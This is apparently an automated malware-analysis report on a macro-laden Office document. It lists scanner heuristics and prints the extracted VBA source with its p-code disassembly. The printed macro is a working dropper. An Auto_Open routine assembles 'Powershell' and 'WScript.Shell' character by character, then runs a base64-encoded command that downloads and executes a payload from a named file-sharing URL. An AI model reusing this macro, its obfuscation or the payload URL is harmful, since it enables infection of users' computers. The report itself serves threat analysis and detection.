MALICIOUS
114
Risk Score
Heuristics 7
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set aLXz = CreateObject(XQMcRk) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Public Sub Auto_Open() -
URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URLA VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://dc444.4sync.com/download/YeAKZPDF/REVENGER.jpg?dsid=vdgISvlw.629cbdf7591f892723a8e6404e747894&sbsr=bb93f4a67b5edd7a6076bdbd2f508fb4adf&bip=MTg1LjE1My4xNzYuMjI&lgfp=40 Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8525 bytes |
SHA-256: c99004db3a3ea19f9fff99b3399e7a82e951435c50d6345cb2787fdd77863190 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "WXhI"
Public Sub Auto_Open()
On Error Resume Next
'NtFO
'TiTu
'iVtV
'HfHG
'DdZq
'GhNo
'UQdH
'jXOX
'LAHf
'pgjV
'gkgI
'xAFS
'rrWO
'zUAv
'nVmR
'CEKt
'gkoA
'MlSV
'llQd
'baIv
'WyUD
'aYwk
'pNCJ
'jOYs
'ooDW
'qvuW
'OmPO
'wddJ
'bUiI
'CalG
'FinJ
'JlMg
'gNog
'YAPk
'fnIj
'kavX
'hJtE
'SJpG
'WXhI
'bZlc
bgaE.Tables(1).Delete
bgaE.vErLiUO
vErLiUO.Bookmarks.Add "vErLiUO", bgaE
Dim aLXz, rB
XQMcRk = "P": FeaU = "o": rFpX = "w": okni = "e": rcOV = "r": uOGf = "s": JMd = "h": NGlr = "e": baeq = "l": PgYF = "l":
Application.DisplayAlerts = True
Dim wOhj As Long
Dim r As Long, DNpa As Long
For DNpa = 2 To sKHs Step 1
sKHs = sKHs - 1
Next DNpa
rB = XQMcRk + FeaU + rFpX + okni + rcOV + uOGf + JMd + NGlr + baeq + PgYF + " -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA=="""""
Dim oScf As Long
Dim COGE As String
Dim dfC As Long
qw = "W": er = "S": ty = "c": ui = "r": df = "i": gh = "p": nm = "h": mj = "t": vErLiUO = ".":
pgjV = "s":
gkgI = "e":
xAFS = "l":
bZlc = "l"
XQMcRk = qw + er + ty + ui + df + gh + mj + vErLiUO + pgjV + nm + gkgI + xAFS + bZlc
Set aLXz = CreateObject(XQMcRk)
aLXz.Run rB, 395:
Exit Sub
Set MyRange = Selection
For Each MyCell In MyRange
If Not IsEmpty(MyCell) Then
MyCell = Trim(MyCell)
End If
Next MyCell
End Sub
Attribute VB_Name = "asdwede3f"
Attribute VB_Base = "0{7B62F3DE-0C0F-4C64-A532-883B3E7891E5}{4D17EC23-B7E9-4A3D-921E-4C14D1AF354E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /tmp/qstore_dk5d103k
' ===============================================================================
' Module streams:
' VBA/WXhI - 8623 bytes
' Line #0:
' FuncDefn (Public Sub Auto_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' QuoteRem 0x0000 0x0004 "NtFO"
' Line #3:
' QuoteRem 0x0000 0x0004 "TiTu"
' Line #4:
' QuoteRem 0x0000 0x0004 "iVtV"
' Line #5:
' QuoteRem 0x0000 0x0004 "HfHG"
' Line #6:
' QuoteRem 0x0000 0x0004 "DdZq"
' Line #7:
' QuoteRem 0x0000 0x0004 "GhNo"
' Line #8:
' QuoteRem 0x0000 0x0004 "UQdH"
' Line #9:
' QuoteRem 0x0000 0x0004 "jXOX"
' Line #10:
' QuoteRem 0x0000 0x0004 "LAHf"
' Line #11:
' QuoteRem 0x0000 0x0004 "pgjV"
' Line #12:
' QuoteRem 0x0000 0x0004 "gkgI"
' Line #13:
' QuoteRem 0x0000 0x0004 "xAFS"
' Line #14:
' QuoteRem 0x0000 0x0004 "rrWO"
' Line #15:
' QuoteRem 0x0000 0x0004 "zUAv"
' Line #16:
' QuoteRem 0x0000 0x0004 "nVmR"
' Line #17:
' QuoteRem 0x0000 0x0004 "CEKt"
' Line #18:
' QuoteRem 0x0000 0x0004 "gkoA"
' Line #19:
' QuoteRem 0x0000 0x0004 "MlSV"
' Line #20:
' QuoteRem 0x0000 0x0004 "llQd"
' Line #21:
' QuoteRem 0x0000 0x0004 "baIv"
' Line #22:
' QuoteRem 0x0000 0x0004 "WyUD"
' Line #23:
' QuoteRem 0x0000 0x0004 "aYwk"
' Line #24:
' QuoteRem 0x0000 0x0004 "pNCJ"
' Line #25:
' QuoteRem 0x0000 0x0004 "jOYs"
' Line #26:
' QuoteRem 0x0000 0x0004 "ooDW"
' Line #27:
' QuoteRem 0x0000 0x0004 "qvuW"
' Line #28:
' QuoteRem 0x0000 0x0004 "OmPO"
' Line #29:
' QuoteRem 0x0000 0x0004 "wddJ"
' Line #30:
' QuoteRem 0x0000 0x0004 "bUiI"
' Line #31:
' QuoteRem 0x0000 0x0004 "CalG"
' Line #32:
' QuoteRem 0x0000 0x0004 "FinJ"
' Line #33:
' QuoteRem 0x0000 0x0004 "JlMg"
' Line #34:
' QuoteRem 0x0000 0x0004 "gNog"
' Line #35:
' QuoteRem 0x0000 0x0004 "YAPk"
' Line #36:
' QuoteRem 0x0000 0x0004 "fnIj"
' Line #37:
' QuoteRem 0x0000 0x0004 "kavX"
' Line #38:
' QuoteRem 0x0000 0x0004 "hJtE"
' Line #39:
' QuoteRem 0x0000 0x0004 "SJpG"
' Line #40:
' QuoteRem 0x0000 0x0004 "WXhI"
' Line #41:
' QuoteRem 0x0000 0x0004 "bZlc"
' Line #42:
' LitDI2 0x0001
' Ld bgaE
' ArgsMemLd Tables 0x0001
' ArgsMemCall Delete 0x0000
' Line #43:
' Ld bgaE
' ArgsMemCall vErLiUO 0x0000
' Line #44:
' LitStr 0x0007 "vErLiUO"
' Ld bgaE
' Ld vErLiUO
' MemLd Bookmarks
' ArgsMemCall Add 0x0002
' Line #45:
' Dim
' VarDefn aLXz
' VarDefn rB
' Line #46:
' LitStr 0x0001 "P"
' St XQMcRk
' BoS 0x0000
' LitStr 0x0001 "o"
' St FeaU
' BoS 0x0000
' LitStr 0x0001 "w"
' St rFpX
' BoS 0x0000
' LitStr 0x0001 "e"
' St okni
' BoS 0x0000
' LitStr 0x0001 "r"
' St rcOV
' BoS 0x0000
' LitStr 0x0001 "s"
' St uOGf
' BoS 0x0000
' LitStr 0x0001 "h"
' St JMd
' BoS 0x0000
' LitStr 0x0001 "e"
' St NGlr
' BoS 0x0000
' LitStr 0x0001 "l"
' St baeq
' BoS 0x0000
' LitStr 0x0001 "l"
' St PgYF
' BoS 0x0000
' Line #47:
' LitVarSpecial (True)
' Ld Application
' MemSt DisplayAlerts
' Line #48:
' Dim
' VarDefn wOhj (As Long)
' Line #49:
' Dim
' VarDefn r (As Long)
' VarDefn DNpa (As Long)
' Line #50:
' StartForVariable
' Ld DNpa
' EndForVariable
' LitDI2 0x0002
' Ld sKHs
' LitDI2 0x0001
' ForStep
' Line #51:
' Ld sKHs
' LitDI2 0x0001
' Sub
' St sKHs
' Line #52:
' StartForVariable
' Ld DNpa
' EndForVariable
' NextVar
' Line #53:
' Ld XQMcRk
' Ld FeaU
' Add
' Ld rFpX
' Add
' Ld okni
' Add
' Ld rcOV
' Add
' Ld uOGf
' Add
' Ld JMd
' Add
' Ld NGlr
' Add
' Ld baeq
' Add
' Ld PgYF
' Add
' LitStr 0x0318 " -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA=="""
' Add
' St rB
' Line #54:
' Dim
' VarDefn oScf (As Long)
' Line #55:
' Dim
' VarDefn COGE (As String)
' Line #56:
' Dim
' VarDefn dfC (As Long)
' Line #57:
' LitStr 0x0001 "W"
' St _B_var_GhNoa
' BoS 0x0000
' LitStr 0x0001 "S"
' St qw
' BoS 0x0000
' LitStr 0x0001 "c"
' St er
' BoS 0x0000
' LitStr 0x0001 "r"
' St ty
' BoS 0x0000
' LitStr 0x0001 "i"
' St ui
' BoS 0x0000
' LitStr 0x0001 "p"
' St df
' BoS 0x0000
' LitStr 0x0001 "h"
' St gh
' BoS 0x0000
' LitStr 0x0001 "t"
' St nm
' BoS 0x0000
' LitStr 0x0001 "."
' St vErLiUO
' BoS 0x0000
' Line #58:
' LitStr 0x0001 "s"
' St _B_var_mj
' BoS 0x0000
' Line #59:
' LitStr 0x0001 "e"
' St pgjV
' BoS 0x0000
' Line #60:
' LitStr 0x0001 "l"
' St gkgI
' BoS 0x0000
' Line #61:
' LitStr 0x0001 "l"
' St xAFS
' Line #62:
' Ld _B_var_GhNoa
' Ld qw
' Add
' Ld er
' Add
' Ld ty
' Add
' Ld ui
' Add
' Ld df
' Add
' Ld nm
' Add
' Ld vErLiUO
' Add
' Ld _B_var_mj
' Add
' Ld gh
' Add
' Ld pgjV
' Add
' Ld gkgI
' Add
' Ld xAFS
' Add
' St XQMcRk
' Line #63:
' SetStmt
' Ld XQMcRk
' ArgsLd CreateObject 0x0001
' Set aLXz
' Line #64:
' Ld rB
' LitDI2 0x018B
' Ld aLXz
' ArgsMemCall Run 0x0002
' BoS 0x0000
' Line #65:
' Line #66:
' ExitSub
' Line #67:
' Line #68:
' SetStmt
' Ld Selection
' Set MyRange
' Line #69:
' StartForVariable
' Ld MyCell
' EndForVariable
' Ld MyRange
' ForEach
' Line #70:
' Ld MyCell
' ArgsLd IsEmpty 0x0001
' Not
' IfBlock
' Line #71:
' Ld MyCell
' ArgsLd Trim 0x0001
' St MyCell
' Line #72:
' EndIfBlock
' Line #73:
' StartForVariable
' Ld MyCell
' EndForVariable
' NextVar
' Line #74:
' EndSub
' Line #75:
' VBA/asdwede3f - 1900 bytes
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.